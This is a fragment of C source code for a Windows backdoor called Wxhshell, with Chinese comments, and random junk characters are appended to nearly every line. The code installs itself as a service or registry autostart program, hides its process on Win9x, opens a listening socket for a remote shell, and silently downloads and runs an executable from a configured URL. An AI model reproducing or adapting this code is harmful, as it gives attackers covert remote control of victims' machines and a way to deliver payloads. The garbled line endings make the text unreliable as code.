} PROCESS_BASIC_INFORMATION; x'OP0],#
*
{~`Lw)y
PROCNTQSIP NtQueryInformationProcess; +9pock
DnG9bVm>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dxH\H?NO
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,`k6@4
)`ixT)
HANDLE hProcess; G]EI!-y
PROCESS_BASIC_INFORMATION pbi; "68X+!
![fNlG!r
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \Y8 sIs
if(NULL == hInst ) return 0; 5ug|crX
(\r^0>H
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G!G:YVWXP
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ("}C& 6)cB
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;cPPx`0$9
jAv3qMQA
if (!NtQueryInformationProcess) return 0; aSxDfYN=R
3hje
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \&ZEIAe
if(!hProcess) return 0; G-K{
j {2 0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x*=m'IM[
)C{20_
CloseHandle(hProcess); )R?uzX^qf
, /jHhKW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @p}_"BHYWt
if(hProcess==NULL) return 0; }bdoJ5
@Bjp7v:w
HMODULE hMod; 2Ub-ufkU
char procName[255]; +RR6gAma}<
unsigned long cbNeeded; m']$)Iqw
}$qrNbLJ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rnp; R
$cwmfF2C
CloseHandle(hProcess); \*qradgx$
O@W/s!&lFa
if(strstr(procName,"services")) return 1; // 以服务启动 tX@y ]"
r!eW]M
return 0; // 注册表启动 W&D{0 i`y
} L;L_$hu)
{D|ST2:E
// 主模块 `.3.n8V
int StartWxhshell(LPSTR lpCmdLine) I|K!hQ"m
{ a}|<*!4zUQ
SOCKET wsl; -aE,KQ
BOOL val=TRUE; *B{]
int port=0; hNkv lk'Ui
struct sockaddr_in door; "oFi+']*
=OV5DmVmQ
if(wscfg.ws_autoins) Install(); '+j;g
?OoI63&
port=atoi(lpCmdLine); MZcvr 9y
D)l\zs%ie
if(port<=0) port=wscfg.ws_port; 7r)]9_[(
,L~aa?Nb-
WSADATA data; 8y_(Iu|:
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c9Cc%EK
=ud~
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %hZX XpuO
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kq?:<!z
door.sin_family = AF_INET; I*(kv7(c0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); n_ ?+QF
door.sin_port = htons(port); ,O-_Pv
.m>Qlh
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6GVAR
closesocket(wsl); @2d9
7.X
return 1; ,,80nW9E
} LikCIO
matm>3n
if(listen(wsl,2) == INVALID_SOCKET) { B"#pvJN
closesocket(wsl); <|X+T,
return 1; 5M #',(X
} S% Ky+0
Wxhshell(wsl); v,ni9DIu
WSACleanup(); O7LJ-M
-b8SaLak
return 0; VYh/URU>
$3&XM
} XkoPN]0n
+t&)Z
// 以NT服务方式启动 ;V?(j3b[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0.nkh6?
{ !Y7$cU &
DWORD status = 0; y!R9)=/M
DWORD specificError = 0xfffffff; qxHn+O!h
m?Cb^WgcF
serviceStatus.dwServiceType = SERVICE_WIN32; Oj_F1.
r
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *&_cp]3-WF
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5=p<"*zJ
serviceStatus.dwWin32ExitCode = 0; *3@8,~_tp
serviceStatus.dwServiceSpecificExitCode = 0; O\Z!7UQ$
serviceStatus.dwCheckPoint = 0; L>E{~yh
serviceStatus.dwWaitHint = 0; eLXL5&}`fh
oTXIs4+G
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kjdIk9 Y
if (hServiceStatusHandle==0) return; (f_J @n
q *Hg-J}
status = GetLastError(); &?5)Jis:
if (status!=NO_ERROR) {YrA[9
{ i!3*)-a\~`
serviceStatus.dwCurrentState = SERVICE_STOPPED; oAB:H\
serviceStatus.dwCheckPoint = 0; f O+lD
serviceStatus.dwWaitHint = 0; T;{:a-8
serviceStatus.dwWin32ExitCode = status; (.YSs
serviceStatus.dwServiceSpecificExitCode = specificError; EL z5P}L6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ars*H,9>e
return; f2SJ4"X
} 4@<wN \'
-JPkC(V7]
serviceStatus.dwCurrentState = SERVICE_RUNNING; c>3? T^=
serviceStatus.dwCheckPoint = 0; ~OxFgKn23&
serviceStatus.dwWaitHint = 0; ZPq.|6&
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gV\Y>y4v
} Q!=`|X|:
ohJDu{V
// 处理NT服务事件,比如:启动、停止 M}CxCEdDB]
VOID WINAPI NTServiceHandler(DWORD fdwControl) !Yn#3c
{ dhJ=+Fz"w
switch(fdwControl) #^9k&t#!6
{ 3b_/QT5!
case SERVICE_CONTROL_STOP: J>;r(j
serviceStatus.dwWin32ExitCode = 0; <6,,:=#
serviceStatus.dwCurrentState = SERVICE_STOPPED; h>cjRH?e
serviceStatus.dwCheckPoint = 0; cT/mi":8{
serviceStatus.dwWaitHint = 0; %0}}Qt
{ 2DJg__("
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L;{{P7
} tf8xc
return; ru`U/6n
case SERVICE_CONTROL_PAUSE: gn~^Ajo
serviceStatus.dwCurrentState = SERVICE_PAUSED; %VR{<{3f
break; VQG$$McJ
case SERVICE_CONTROL_CONTINUE: @H+L1H%9n
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9(z) ^G
break; I2SH
j6-
case SERVICE_CONTROL_INTERROGATE: o&z [d
break; (RG "2I3
}; 1MnC5[Q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); um_J%v6ER
} y3QS!3I
!io1~GpKS
// 标准应用程序主函数 ;C:|m7|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 59W~bWHCP
{ ^P]5@d v
pBv,,d`
// 获取操作系统版本 X%(NI(+x,
OsIsNt=GetOsVer(); Ej6ho 0_
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3k(tv U+eC
?K2}<H-
// 从命令行安装 cTRtMk%^
if(strpbrk(lpCmdLine,"iI")) Install(); QUvSeNSp
%N(>B_t\
// 下载执行文件 #9.%>1{6Y
if(wscfg.ws_downexe) { t?Qbi)T=z
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uW FyI"
WinExec(wscfg.ws_filenam,SW_HIDE); ;PU'"MeB "
} _FcTY5."S
UHU ,zgM
if(!OsIsNt) { aot2F60J,
// 如果时win9x,隐藏进程并且设置为注册表启动 @V5i
HideProc(); @H~oOf
StartWxhshell(lpCmdLine); `"yxmo*0
} 9^?muP<A
else soQ[Zg4}
if(StartFromService()) O`GF|
// 以服务方式启动 r%ebC
StartServiceCtrlDispatcher(DispatchTable); OW@)6
else FeO1%#2<y
// 普通方式启动
(#O"
StartWxhshell(lpCmdLine); I^u~r.
Kr1Y3[iNv
return 0; oz,.gP%
}